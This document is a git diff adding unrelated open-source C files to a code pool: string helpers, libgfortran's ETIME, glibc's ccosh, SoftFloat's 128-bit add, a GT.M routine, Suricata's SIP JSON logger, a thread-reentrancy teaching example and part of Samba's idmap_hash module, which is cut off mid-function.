+  if ((length < 1) || (start < 0) || (start > (int)strlen (buffer)))
+    return NULL;
+
+  if ((int)strlen (buffer) < length){
+    sub = (char*) strdup (buffer);
+    return buffer;
+  }
+
+  if (sub == NULL){
+    joe_fatal( "insufficient memory." );
+  }
+
+  memset (sub, '\0', length + 1);
+
+  buffer += start;
+  strncpy( sub, buffer, length );
+
+  return sub;
+}
+
+/**
+ * my_random        returns a random int
+ */  
+int 
+my_random( int max, int seed )
+{
+  srand( (unsigned)time( NULL ) * seed ); 
+  return (int)((double)rand() / ((double)RAND_MAX + 1) * max ); 
+}
+
+void 
+itoa( int n, char s[] )
+{
+  int i, sign;
+  if(( sign = n ) < 0 )
+    n = -n;
+  i = 0;
+  do{
+    s[i++] = n % 10 + '0';
+  } while(( n /= 10 ) > 0 );
+  if( sign < 0  )
+    s[i++] = '-';
+  s[i] = '\0';
+ 
+  reverse( s );
+}
+
+void 
+reverse( char s[] )
+{
+  int c, i, j;
+  for( i = 0, j = strlen( s )-1; i < j; i++, j-- ){
+    c    = s[i];
+    s[i] = s[j];
+    s[j] = c;
+  } /** end of for     **/
+}   /** end of reverse **/
+
+float 
+elapsed_time( clock_t time )
+{
+  long tps = sysconf( _SC_CLK_TCK );
+  return (float)time/tps;
+}
+
+
diff --git a/pool/shard001/C/0023315_etime.c b/pool/shard001/C/0023315_etime.c
new file mode 100644
index 0000000000000000000000000000000000000000..b0fd742ea96b600b9be1e5485fd2a049b43e037e
--- /dev/null
+++ b/pool/shard001/C/0023315_etime.c
@@ -0,0 +1,72 @@
+/* Implementation of the ETIME intrinsic.
+   Copyright (C) 2004, 2005, 2006, 2007, 2009 Free Software Foundation, Inc.
+   Contributed by Steven G. Kargl <kargls@comcast.net>.
+
+This file is part of the GNU Fortran 95 runtime library (libgfortran).
+
+Libgfortran is free software; you can redistribute it and/or
+modify it under the terms of the GNU General Public
+License as published by the Free Software Foundation; either
+version 3 of the License, or (at your option) any later version.
+
+Libgfortran is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+Under Section 7 of GPL version 3, you are granted additional
+permissions described in the GCC Runtime Library Exception, version
+3.1, as published by the Free Software Foundation.
+
+You should have received a copy of the GNU General Public License and
+a copy of the GCC Runtime Library Exception along with this program;
+see the files COPYING3 and COPYING.RUNTIME respectively.  If not, see
+<http://www.gnu.org/licenses/>.  */
+
+#include "libgfortran.h"
+#include "time_1.h"
+
+extern void etime_sub (gfc_array_r4 *t, GFC_REAL_4 *result);
+iexport_proto(etime_sub);
+
+void
+etime_sub (gfc_array_r4 *t, GFC_REAL_4 *result)
+{
+  GFC_REAL_4 tu, ts, tt, *tp;
+  long user_sec, user_usec, system_sec, system_usec;
+
+  if (((GFC_DESCRIPTOR_EXTENT(t,0))) < 2)
+    runtime_error ("Insufficient number of elements in TARRAY.");
+
+  if (__time_1 (&user_sec, &user_usec, &system_sec, &system_usec) == 0)
+    {
+      tu = (GFC_REAL_4)(user_sec + 1.e-6 * user_usec);
+      ts = (GFC_REAL_4)(system_sec + 1.e-6 * system_usec);
+      tt = tu + ts;
+    }
+  else
+    {
+      tu = (GFC_REAL_4)-1.0;
+      ts = (GFC_REAL_4)-1.0;
+      tt = (GFC_REAL_4)-1.0;
+    }
+
+  tp = t->data;
+
+  *tp = tu;
+  tp += GFC_DESCRIPTOR_STRIDE(t,0);
+  *tp = ts;
+  *result = tt;
+}
+iexport(etime_sub);
+
+extern GFC_REAL_4 etime (gfc_array_r4 *t);
+export_proto(etime);
+
+GFC_REAL_4
+etime (gfc_array_r4 *t)
+{
+  GFC_REAL_4 val;
+  etime_sub (t, &val);
+  return val;
+}
diff --git a/pool/shard001/C/0023326_s_ccosh.c b/pool/shard001/C/0023326_s_ccosh.c
new file mode 100644
index 0000000000000000000000000000000000000000..2c05b63de471d83c046af7b14f2e375224a1cafa
--- /dev/null
+++ b/pool/shard001/C/0023326_s_ccosh.c
@@ -0,0 +1,145 @@
+/* Complex cosine hyperbole function for double.
+   Copyright (C) 1997-2013 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Ulrich Drepper <drepper@cygnus.com>, 1997.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, see
+   <http://www.gnu.org/licenses/>.  */
+
+#include <complex.h>
+#include <fenv.h>
+#include <math.h>
+#include <math_private.h>
+#include <float.h>
+
+__complex__ double
+__ccosh (__complex__ double x)
+{
+  __complex__ double retval;
+  int rcls = fpclassify (__real__ x);
+  int icls = fpclassify (__imag__ x);
+
+  if (__builtin_expect (rcls >= FP_ZERO, 1))
+    {
+      /* Real part is finite.  */
+      if (__builtin_expect (icls >= FP_ZERO, 1))
+	{
+	  /* Imaginary part is finite.  */
+	  const int t = (int) ((DBL_MAX_EXP - 1) * M_LN2);
+	  double sinix, cosix;
+
+	  if (__builtin_expect (icls != FP_SUBNORMAL, 1))
+	    {
+	      __sincos (__imag__ x, &sinix, &cosix);
+	    }
+	  else
+	    {
+	      sinix = __imag__ x;
+	      cosix = 1.0;
+	    }
+
+	  if (fabs (__real__ x) > t)
+	    {
+	      double exp_t = __ieee754_exp (t);
+	      double rx = fabs (__real__ x);
+	      if (signbit (__real__ x))
+		sinix = -sinix;
+	      rx -= t;
+	      sinix *= exp_t / 2.0;
+	      cosix *= exp_t / 2.0;
+	      if (rx > t)
+		{
+		  rx -= t;
+		  sinix *= exp_t;
+		  cosix *= exp_t;
+		}
+	      if (rx > t)
+		{
+		  /* Overflow (original real part of x > 3t).  */
+		  __real__ retval = DBL_MAX * cosix;
+		  __imag__ retval = DBL_MAX * sinix;
+		}
+	      else
+		{
+		  double exp_val = __ieee754_exp (rx);
+		  __real__ retval = exp_val * cosix;
+		  __imag__ retval = exp_val * sinix;
+		}
+	    }
+	  else
+	    {
+	      __real__ retval = __ieee754_cosh (__real__ x) * cosix;
+	      __imag__ retval = __ieee754_sinh (__real__ x) * sinix;
+	    }
+	}
+      else
+	{
+	  __imag__ retval = __real__ x == 0.0 ? 0.0 : __nan ("");
+	  __real__ retval = __nan ("") + __nan ("");
+
+	  if (icls == FP_INFINITE)
+	    feraiseexcept (FE_INVALID);
+	}
+    }
+  else if (rcls == FP_INFINITE)
+    {
+      /* Real part is infinite.  */
+      if (__builtin_expect (icls > FP_ZERO, 1))
+	{
+	  /* Imaginary part is finite.  */
+	  double sinix, cosix;
+
+	  if (__builtin_expect (icls != FP_SUBNORMAL, 1))
+	    {
+	      __sincos (__imag__ x, &sinix, &cosix);
+	    }
+	  else
+	    {
+	      sinix = __imag__ x;
+	      cosix = 1.0;
+	    }
+
+	  __real__ retval = __copysign (HUGE_VAL, cosix);
+	  __imag__ retval = (__copysign (HUGE_VAL, sinix)
+			     * __copysign (1.0, __real__ x));
+	}
+      else if (icls == FP_ZERO)
+	{
+	  /* Imaginary part is 0.0.  */
+	  __real__ retval = HUGE_VAL;
+	  __imag__ retval = __imag__ x * __copysign (1.0, __real__ x);
+	}
+      else
+	{
+	  /* The addition raises the invalid exception.  */
+	  __real__ retval = HUGE_VAL;
+	  __imag__ retval = __nan ("") + __nan ("");
+
+	  if (icls == FP_INFINITE)
+	    feraiseexcept (FE_INVALID);
+	}
+    }
+  else
+    {
+      __real__ retval = __nan ("");
+      __imag__ retval = __imag__ x == 0.0 ? __imag__ x : __nan ("");
+    }
+
+  return retval;
+}
+weak_alias (__ccosh, ccosh)
+#ifdef NO_LONG_DOUBLE
+strong_alias (__ccosh, __ccoshl)
+weak_alias (__ccosh, ccoshl)
+#endif
diff --git a/pool/shard001/C/0023334_s_addF128M.c b/pool/shard001/C/0023334_s_addF128M.c
new file mode 100644
index 0000000000000000000000000000000000000000..4d6b29965c8e8292248542ebcfa0f6dfdd659559
--- /dev/null
+++ b/pool/shard001/C/0023334_s_addF128M.c
@@ -0,0 +1,211 @@
+
+/*============================================================================
+
+This C source file is part of the SoftFloat IEEE Floating-Point Arithmetic
+Package, Release 3b, by John R. Hauser.
+
+Copyright 2011, 2012, 2013, 2014 The Regents of the University of California.
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+ 1. Redistributions of source code must retain the above copyright notice,
+    this list of conditions, and the following disclaimer.
+
+ 2. Redistributions in binary form must reproduce the above copyright notice,
+    this list of conditions, and the following disclaimer in the documentation
+    and/or other materials provided with the distribution.
+
+ 3. Neither the name of the University nor the names of its contributors may
+    be used to endorse or promote products derived from this software without
+    specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS "AS IS", AND ANY
+EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, ARE
+DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY
+DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+=============================================================================*/
+
+#include <stdbool.h>
+#include <stdint.h>
+#include "platform.h"
+#include "internals.h"
+#include "specialize.h"
+#include "softfloat.h"
+
+void
+ softfloat_addF128M(
+     const uint32_t *aWPtr,
+     const uint32_t *bWPtr,
+     uint32_t *zWPtr,
+     bool negateB
+ )
+{
+    uint32_t uiA96;
+    int32_t expA;
+    uint32_t uiB96;
+    int32_t expB;
+    uint32_t uiZ96;
+    bool signZ, signB;
+    const uint32_t *tempPtr;
+    uint32_t sig96A, sig96B;
+    int32_t expDiff;
+    uint_fast8_t
+     (*addCarryMRoutinePtr)(
+         uint_fast8_t,
+         const uint32_t *,
+         const uint32_t *,
+         uint_fast8_t,
+         uint32_t *
+     );
+    uint32_t extSigZ[5], wordSigZ;
+    uint_fast8_t carry;
+    void (*roundPackRoutinePtr)( bool, int32_t, uint32_t *, uint32_t * );
+
+    /*------------------------------------------------------------------------
+    *------------------------------------------------------------------------*/
+    uiA96 = aWPtr[indexWordHi( 4 )];
+    expA = expF128UI96( uiA96 );
+    uiB96 = bWPtr[indexWordHi( 4 )];
+    expB = expF128UI96( uiB96 );
+    /*------------------------------------------------------------------------
+    *------------------------------------------------------------------------*/
+    if ( (expA == 0x7FFF) || (expB == 0x7FFF) ) {
+        if ( softfloat_tryPropagateNaNF128M( aWPtr, bWPtr, zWPtr ) ) return;
+        uiZ96 = uiA96;
+        if ( expB == 0x7FFF ) {
+            uiZ96 = uiB96 ^ packToF128UI96( negateB, 0, 0 );
+            if ( (expA == 0x7FFF) && (uiZ96 != uiA96) ) {
+                softfloat_invalidF128M( zWPtr );
+                return;
+            }
+        }
+        zWPtr[indexWordHi( 4 )] = uiZ96;
+        zWPtr[indexWord( 4, 2 )] = 0;
+        zWPtr[indexWord( 4, 1 )] = 0;
+        zWPtr[indexWord( 4, 0 )] = 0;
+        return;
+    }
+    /*------------------------------------------------------------------------
+    *------------------------------------------------------------------------*/
+    signZ = signF128UI96( uiA96 );
+    signB = signF128UI96( uiB96 ) ^ negateB;
+    negateB = (signZ != signB);
+    if ( (uint32_t) (uiA96<<1) < (uint32_t) (uiB96<<1) ) {
+        signZ = signB;
+        expA = expB;
+        expB = expF128UI96( uiA96 );
+        tempPtr = aWPtr;
+        aWPtr = bWPtr;
+        bWPtr = tempPtr;
+        uiA96 = uiB96;
+        uiB96 = bWPtr[indexWordHi( 4 )];
+    }
+    sig96A = fracF128UI96( uiA96 );
+    sig96B = fracF128UI96( uiB96 );
+    if ( expA ) {
+        --expA;
+        sig96A |= 0x00010000;
+        if ( expB ) {
+            --expB;
+            sig96B |= 0x00010000;
+        }
+    }
+    /*------------------------------------------------------------------------
+    *------------------------------------------------------------------------*/
+    addCarryMRoutinePtr =
+        negateB ? softfloat_addComplCarryM : softfloat_addCarryM;
+    expDiff = expA - expB;
+    if ( expDiff ) {
+        /*--------------------------------------------------------------------
+        *--------------------------------------------------------------------*/
+        extSigZ[indexWordHi( 5 )] = sig96B;
+        extSigZ[indexWord( 5, 3 )] = bWPtr[indexWord( 4, 2 )];
+        extSigZ[indexWord( 5, 2 )] = bWPtr[indexWord( 4, 1 )];
+        extSigZ[indexWord( 5, 1 )] = bWPtr[indexWord( 4, 0 )];
+        extSigZ[indexWord( 5, 0 )] = 0;
+        softfloat_shiftRightJam160M( extSigZ, expDiff, extSigZ );
+        sig96B = extSigZ[indexWordHi( 5 )];
+        carry = 0;
+        if ( negateB ) {
+            sig96B = ~sig96B;
+            wordSigZ = extSigZ[indexWordLo( 5 )];
+            extSigZ[indexWordLo( 5 )] = -wordSigZ;
+            carry = ! wordSigZ;
+        }
+        carry =
+            (*addCarryMRoutinePtr)(
+                3,
+                &aWPtr[indexMultiwordLo( 4, 3 )],
+                &extSigZ[indexMultiword( 5, 3, 1 )],
+                carry,
+                &extSigZ[indexMultiword( 5, 3, 1 )]
+            );
+        wordSigZ = sig96A + sig96B + carry;
+    } else {
+        /*--------------------------------------------------------------------
+        *--------------------------------------------------------------------*/
+        extSigZ[indexWordLo( 5 )] = 0;
+        carry =
+            (*addCarryMRoutinePtr)(
+                3,
+                &aWPtr[indexMultiwordLo( 4, 3 )],
+                &bWPtr[indexMultiwordLo( 4, 3 )],
+                negateB,
+                &extSigZ[indexMultiword( 5, 3, 1 )]
+            );
+        if ( negateB ) {
+            wordSigZ = sig96A + ~sig96B + carry;
+            if ( wordSigZ & 0x80000000 ) {
+                signZ = ! signZ;
+                carry =
+                    softfloat_addComplCarry96M(
+                        &bWPtr[indexMultiwordLo( 4, 3 )],
+                        &aWPtr[indexMultiwordLo( 4, 3 )],
+                        1,
+                        &extSigZ[indexMultiword( 5, 3, 1 )]
+                    );
+                wordSigZ = sig96B + ~sig96A + carry;
+            } else {
+                if (
+                    ! wordSigZ && ! extSigZ[indexWord( 5, 3 )]
+                        && ! (  extSigZ[indexWord( 5, 2 )]
+                              | extSigZ[indexWord( 5, 1 )]
+                              | extSigZ[indexWord( 5, 0 )]
+                             )
+                ) {
+                    signZ = (softfloat_roundingMode == softfloat_round_min);
+                    zWPtr[indexWordHi( 4 )] = packToF128UI96( signZ, 0, 0 );
+                    zWPtr[indexWord( 4, 2 )] = 0;
+                    zWPtr[indexWord( 4, 1 )] = 0;
+                    zWPtr[indexWord( 4, 0 )] = 0;
+                    return;
+                }
+            }
+        } else {
+            wordSigZ = sig96A + sig96B + carry;
+        }
+    }
+    extSigZ[indexWordHi( 5 )] = wordSigZ;
+    /*------------------------------------------------------------------------
+    *------------------------------------------------------------------------*/
+    roundPackRoutinePtr = softfloat_normRoundPackMToF128M;
+    if ( 0x00010000 <= wordSigZ ) {
+        if ( 0x00020000 <= wordSigZ ) {
+            ++expA;
+            softfloat_shortShiftRightJam160M( extSigZ, 1, extSigZ );
+        }
+        roundPackRoutinePtr = softfloat_roundPackMToF128M;
+    }
+    (*roundPackRoutinePtr)( signZ, expA, extSigZ, zWPtr );
+
+}
+
diff --git a/pool/shard001/C/0023348_fgn_glopref.c b/pool/shard001/C/0023348_fgn_glopref.c
new file mode 100644
index 0000000000000000000000000000000000000000..328c064dfbf4fd73dc022a2d714254c9c55094ac
--- /dev/null
+++ b/pool/shard001/C/0023348_fgn_glopref.c
@@ -0,0 +1,37 @@
+/****************************************************************
+ *								*
+ *	Copyright 2001, 2011 Fidelity Information Services, Inc	*
+ *								*
+ *	This source code contains the intellectual property	*
+ *	of its copyright holder(s), and is made available	*
+ *	under a license.  If you do not know the terms of	*
+ *	the license, please stop and do not read further.	*
+ *								*
+ ****************************************************************/
+
+/* fgn_glopref : prefixes the global variable name with ^
+	for locks.
+*/
+#include "mdef.h"
+
+#include "gtm_string.h"
+
+#include "stringpool.h"
+#include <rtnhdr.h>
+#include "lv_val.h"	/* needed by "fgncal.h" */
+#include "fgncal.h"
+
+GBLREF spdesc	stringpool ;
+
+void fgn_glopref(mval *v)
+{
+	unsigned char *p;
+
+	ENSURE_STP_FREE_SPACE(v->str.len + 1);
+	p = stringpool.free;
+	*stringpool.free++ = '^';
+	memcpy(stringpool.free,v->str.addr,v->str.len);
+	stringpool.free += v->str.len ;
+	v->str.addr = (char *)p;
+	v->str.len++;
+}
diff --git a/pool/shard001/C/0023349_output-json-sip.c b/pool/shard001/C/0023349_output-json-sip.c
new file mode 100644
index 0000000000000000000000000000000000000000..ca8491bc2fa7f4ab7fdd8f0a56fda79ca3998ebf
--- /dev/null
+++ b/pool/shard001/C/0023349_output-json-sip.c
@@ -0,0 +1,192 @@
+/* Copyright (C) 2018 Open Information Security Foundation
+ *
+ * You can copy, redistribute or modify this Program under the terms of
+ * the GNU General Public License version 2 as published by the Free
+ * Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * version 2 along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
+ * 02110-1301, USA.
+ */
+
+/**
+ * \file
+ *
+ * \author Giuseppe Longo <giuseppe@glongo.it>
+ *
+ * Implement JSON/eve logging app-layer SIP.
+ */
+
+#include "suricata-common.h"
+#include "debug.h"
+#include "detect.h"
+#include "pkt-var.h"
+#include "conf.h"
+
+#include "threads.h"
+#include "threadvars.h"
+#include "tm-threads.h"
+
+#include "util-unittest.h"
+#include "util-buffer.h"
+#include "util-debug.h"
+#include "util-byte.h"
+
+#include "output.h"
+#include "output-json.h"
+
+#include "app-layer.h"
+#include "app-layer-parser.h"
+
+#include "app-layer-sip.h"
+#include "output-json-sip.h"
+
+#include "rust.h"
+
+typedef struct LogSIPFileCtx_ {
+    LogFileCtx *file_ctx;
+    OutputJsonCommonSettings cfg;
+} LogSIPFileCtx;
+
+typedef struct LogSIPLogThread_ {
+    LogSIPFileCtx *siplog_ctx;
+    MemBuffer          *buffer;
+} LogSIPLogThread;
+
+json_t *JsonSIPAddMetadata(const Flow *f, uint64_t tx_id)
+{
+    SIPState *state = FlowGetAppState(f);
+    if (state) {
+        SIPTransaction *tx = AppLayerParserGetTx(f->proto, ALPROTO_SIP, state, tx_id);
+        if (tx) {
+            return rs_sip_log_json(state, tx);
+        }
+    }
+
+    return NULL;
+}
+
+static int JsonSIPLogger(ThreadVars *tv, void *thread_data,
+    const Packet *p, Flow *f, void *state, void *tx, uint64_t tx_id)
+{
+    SIPTransaction *siptx = tx;
+    LogSIPLogThread *thread = thread_data;
+    json_t *js, *sipjs;
+
+    js = CreateJSONHeader(p, LOG_DIR_PACKET, "sip");
+    if (unlikely(js == NULL)) {
+        return TM_ECODE_FAILED;
+    }
+
+    JsonAddCommonOptions(&thread->siplog_ctx->cfg, p, f, js);
+
+    sipjs = rs_sip_log_json(state, siptx);
+    if (unlikely(sipjs == NULL)) {
+      goto error;
+    }
+    json_object_set_new(js, "sip", sipjs);
+
+    MemBufferReset(thread->buffer);
+    OutputJSONBuffer(js, thread->siplog_ctx->file_ctx, &thread->buffer);
+
+    json_decref(js);
+    return TM_ECODE_OK;
+
+error:
+    json_decref(js);
+    return TM_ECODE_FAILED;
+}
+
+static void OutputSIPLogDeInitCtxSub(OutputCtx *output_ctx)
+{
+    LogSIPFileCtx *siplog_ctx = (LogSIPFileCtx *)output_ctx->data;
+    SCFree(siplog_ctx);
+    SCFree(output_ctx);
+}
+
+static OutputInitResult OutputSIPLogInitSub(ConfNode *conf,
+    OutputCtx *parent_ctx)
+{
+    OutputInitResult result = { NULL, false };
+    OutputJsonCtx *ajt = parent_ctx->data;
+
+    LogSIPFileCtx *siplog_ctx = SCCalloc(1, sizeof(*siplog_ctx));
+    if (unlikely(siplog_ctx == NULL)) {
+        return result;
+    }
+    siplog_ctx->file_ctx = ajt->file_ctx;
+    siplog_ctx->cfg = ajt->cfg;
+
+    OutputCtx *output_ctx = SCCalloc(1, sizeof(*output_ctx));
+    if (unlikely(output_ctx == NULL)) {
+        SCFree(siplog_ctx);
+        return result;
+    }
+    output_ctx->data = siplog_ctx;
+    output_ctx->DeInit = OutputSIPLogDeInitCtxSub;
+
+    SCLogDebug("SIP log sub-module initialized.");
+
+    AppLayerParserRegisterLogger(IPPROTO_UDP, ALPROTO_SIP);
+
+    result.ctx = output_ctx;
+    result.ok = true;
+    return result;
+}
+
+#define OUTPUT_BUFFER_SIZE 65535
+
+static TmEcode JsonSIPLogThreadInit(ThreadVars *t, const void *initdata, void **data)
+{
+    LogSIPLogThread *thread = SCCalloc(1, sizeof(*thread));
+    if (unlikely(thread == NULL)) {
+        return TM_ECODE_FAILED;
+    }
+
+    if (initdata == NULL) {
+        SCLogDebug("Error getting context for EveLogSIP.  \"initdata\" is NULL.");
+        SCFree(thread);
+        return TM_ECODE_FAILED;
+    }
+
+    thread->buffer = MemBufferCreateNew(OUTPUT_BUFFER_SIZE);
+    if (unlikely(thread->buffer == NULL)) {
+        SCFree(thread);
+        return TM_ECODE_FAILED;
+    }
+
+    thread->siplog_ctx = ((OutputCtx *)initdata)->data;
+    *data = (void *)thread;
+
+    return TM_ECODE_OK;
+}
+
+static TmEcode JsonSIPLogThreadDeinit(ThreadVars *t, void *data)
+{
+    LogSIPLogThread *thread = (LogSIPLogThread *)data;
+    if (thread == NULL) {
+        return TM_ECODE_OK;
+    }
+    if (thread->buffer != NULL) {
+        MemBufferFree(thread->buffer);
+    }
+    SCFree(thread);
+    return TM_ECODE_OK;
+}
+
+void JsonSIPLogRegister(void)
+{
+    /* Register as an eve sub-module. */
+    OutputRegisterTxSubModule(LOGGER_JSON_SIP, "eve-log", "JsonSIPLog",
+        "eve-log.sip", OutputSIPLogInitSub, ALPROTO_SIP,
+        JsonSIPLogger, JsonSIPLogThreadInit,
+        JsonSIPLogThreadDeinit, NULL);
+
+    SCLogDebug("SIP JSON logger registered.");
+}
diff --git a/pool/shard001/C/0023354_without_pb_reentrant.c b/pool/shard001/C/0023354_without_pb_reentrant.c
new file mode 100644
index 0000000000000000000000000000000000000000..3c62853ab6f1d02a5e298bc5f9feffa723c030b6
--- /dev/null
+++ b/pool/shard001/C/0023354_without_pb_reentrant.c
@@ -0,0 +1,83 @@
+/*
+ * ENSICAEN
+ * 6 Boulevard Maréchal Juin
+ * F-14050 Caen Cedex
+ *
+ * Unix System Programming Examples / Exemplier de programmation système Unix
+ * Chapter "Threads" / Chapitre "Threads"
+ *
+ * Copyright (C) 1995-2016 Alain Lebret (alain.lebret@ensicaen.fr)
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @author Alain Lebret
+ * @version	1.0
+ * @date 2012-04-10
+ */
+
+/**
+ * @file without_pb_reentrant.c
+ *
+ * A simple program to show the importance of using reentrant functions.
+ *
+ */
+#include <pthread.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+#define THREADS 4
+
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+
+int f_reentrant(void)
+{	
+	static unsigned int next;	
+
+	pthread_mutex_lock(&mutex);
+
+	/* Beginning of critical section */
+	next = 1;
+	next = next * 1103515245 + 12345;
+	next = (unsigned int)(next / 65536) % 32768;
+	/* End of critical section */
+	
+	pthread_mutex_unlock(&mutex);
+	usleep(10);
+	return next;
+}
+
+void *doit(void *vargp)
+{
+	printf("[%ld]: val = %d\n", pthread_self(), f_reentrant());	
+	return NULL; 
+}
+
+int main(void)
+{
+	pthread_t tid[4];
+	int i;
+	
+	for (i = 0; i < THREADS; i++) {
+		pthread_create(&tid[i], NULL, doit, NULL);
+	}
+
+	for (i = 0; i < THREADS; i++) {
+		pthread_join(tid[i], NULL);
+	}
+
+	exit(EXIT_SUCCESS); 
+}
+
diff --git a/pool/shard001/C/0023358_idmap_hash.c b/pool/shard001/C/0023358_idmap_hash.c
new file mode 100644
index 0000000000000000000000000000000000000000..36cc0f1e354f66e2d782cff64f9ad598a1e8f1ac
--- /dev/null
+++ b/pool/shard001/C/0023358_idmap_hash.c
@@ -0,0 +1,378 @@
+/*
+ *  idmap_hash.c
+ *
+ * Copyright (C) Gerald Carter  <jerry@samba.org>      2007 - 2008
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 3 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+#include "includes.h"
+#include "winbindd/winbindd.h"
+#include "idmap.h"
+#include "idmap_hash.h"
+#include "ads.h"
+#include "nss_info.h"
+#include "../libcli/security/dom_sid.h"
+
+#undef DBGC_CLASS
+#define DBGC_CLASS DBGC_IDMAP
+
+struct sid_hash_table {
+	struct dom_sid *sid;
+};
+
+/*********************************************************************
+ Hash a domain SID (S-1-5-12-aaa-bbb-ccc) to a 12bit number
+ ********************************************************************/
+
+static uint32_t hash_domain_sid(const struct dom_sid *sid)
+{
+	uint32_t hash;
+
+	if (sid->num_auths != 4)
+		return 0;
+
+	/* XOR the last three subauths */
+
+	hash = ((sid->sub_auths[1] ^ sid->sub_auths[2]) ^ sid->sub_auths[3]);
+
+	/* Take all 32-bits into account when generating the 12-bit
+	   hash value */
+	hash = (((hash & 0xFFF00000) >> 20)
+		+ ((hash & 0x000FFF00) >> 8)
+		+ (hash & 0x000000FF)) & 0x0000FFF;
+
+	/* return a 12-bit hash value */
+
+	return hash;
+}
+
+/*********************************************************************
+ Hash a Relative ID to a 20 bit number
+ ********************************************************************/
+
+static uint32_t hash_rid(uint32_t rid)
+{
+	/* 20 bits for the rid which allows us to support
+	   the first 100K users/groups in a domain */
+
+	return (rid & 0x0007FFFF);
+}
+
+/*********************************************************************
+ ********************************************************************/
+
+static uint32_t combine_hashes(uint32_t h_domain,
+			       uint32_t h_rid)
+{
+	uint32_t return_id = 0;
+
+	/* shift the hash_domain 19 bits to the left and OR with the
+	   hash_rid */
+
+	return_id = ((h_domain<<19) | h_rid);
+
+	return return_id;
+}
+
+/*********************************************************************
+ ********************************************************************/
+
+static void separate_hashes(uint32_t id,
+			    uint32_t *h_domain,
+			    uint32_t *h_rid)
+{
+	*h_rid = id & 0x0007FFFF;
+	*h_domain = (id & 0x7FF80000) >> 19;
+
+	return;
+}
+
+
+/*********************************************************************
+ ********************************************************************/
+
+static NTSTATUS idmap_hash_initialize(struct idmap_domain *dom)
+{
+	struct sid_hash_table *hashed_domains;
+	NTSTATUS nt_status = NT_STATUS_UNSUCCESSFUL;
+	struct winbindd_tdc_domain *dom_list = NULL;
+	size_t num_domains = 0;
+	int i;
+
+	DBG_ERR("The idmap_hash module is deprecated and should not be used. "
+		"Please migrate to a different plugin. This module will be "
+		"removed in a future version of Samba\n");
+
+	if (!strequal(dom->name, "*")) {
+		DBG_ERR("Error: idmap_hash configured for domain '%s'. "
+			"But the hash module can only be used for the default "
+			"idmap configuration.\n", dom->name);
+		return NT_STATUS_INVALID_PARAMETER;
+	}
+
+	/* If the domain SID hash table has been initialized, assume
+	   that we completed this function previously */
+
+	if (dom->private_data != NULL) {
+		nt_status = NT_STATUS_OK;
+		goto done;
+	}
+
+	if (!wcache_tdc_fetch_list(&dom_list, &num_domains)) {
+		nt_status = NT_STATUS_TRUSTED_DOMAIN_FAILURE;
+		BAIL_ON_NTSTATUS_ERROR(nt_status);
+	}
+
+	/* Create the hash table of domain SIDs */
+
+	hashed_domains = talloc_zero_array(dom, struct sid_hash_table, 4096);
+	BAIL_ON_PTR_NT_ERROR(hashed_domains, nt_status);
+
+	/* create the hash table of domain SIDs */
+
+	for (i=0; i<num_domains; i++) {
+		uint32_t hash;
+
+		if (is_null_sid(&dom_list[i].sid))
+			continue;
+
+		/*
+		 * Check if the domain from the list is not already configured
+		 * to use another idmap backend. Not checking this makes the
+		 * idmap_hash module map IDs for *all* domains implicitly.  This
+		 * is quite dangerous in setups that use multiple idmap
+		 * configurations.
+		 */
+
+		if (domain_has_idmap_config(dom_list[i].domain_name)) {
+			continue;
+		}
+
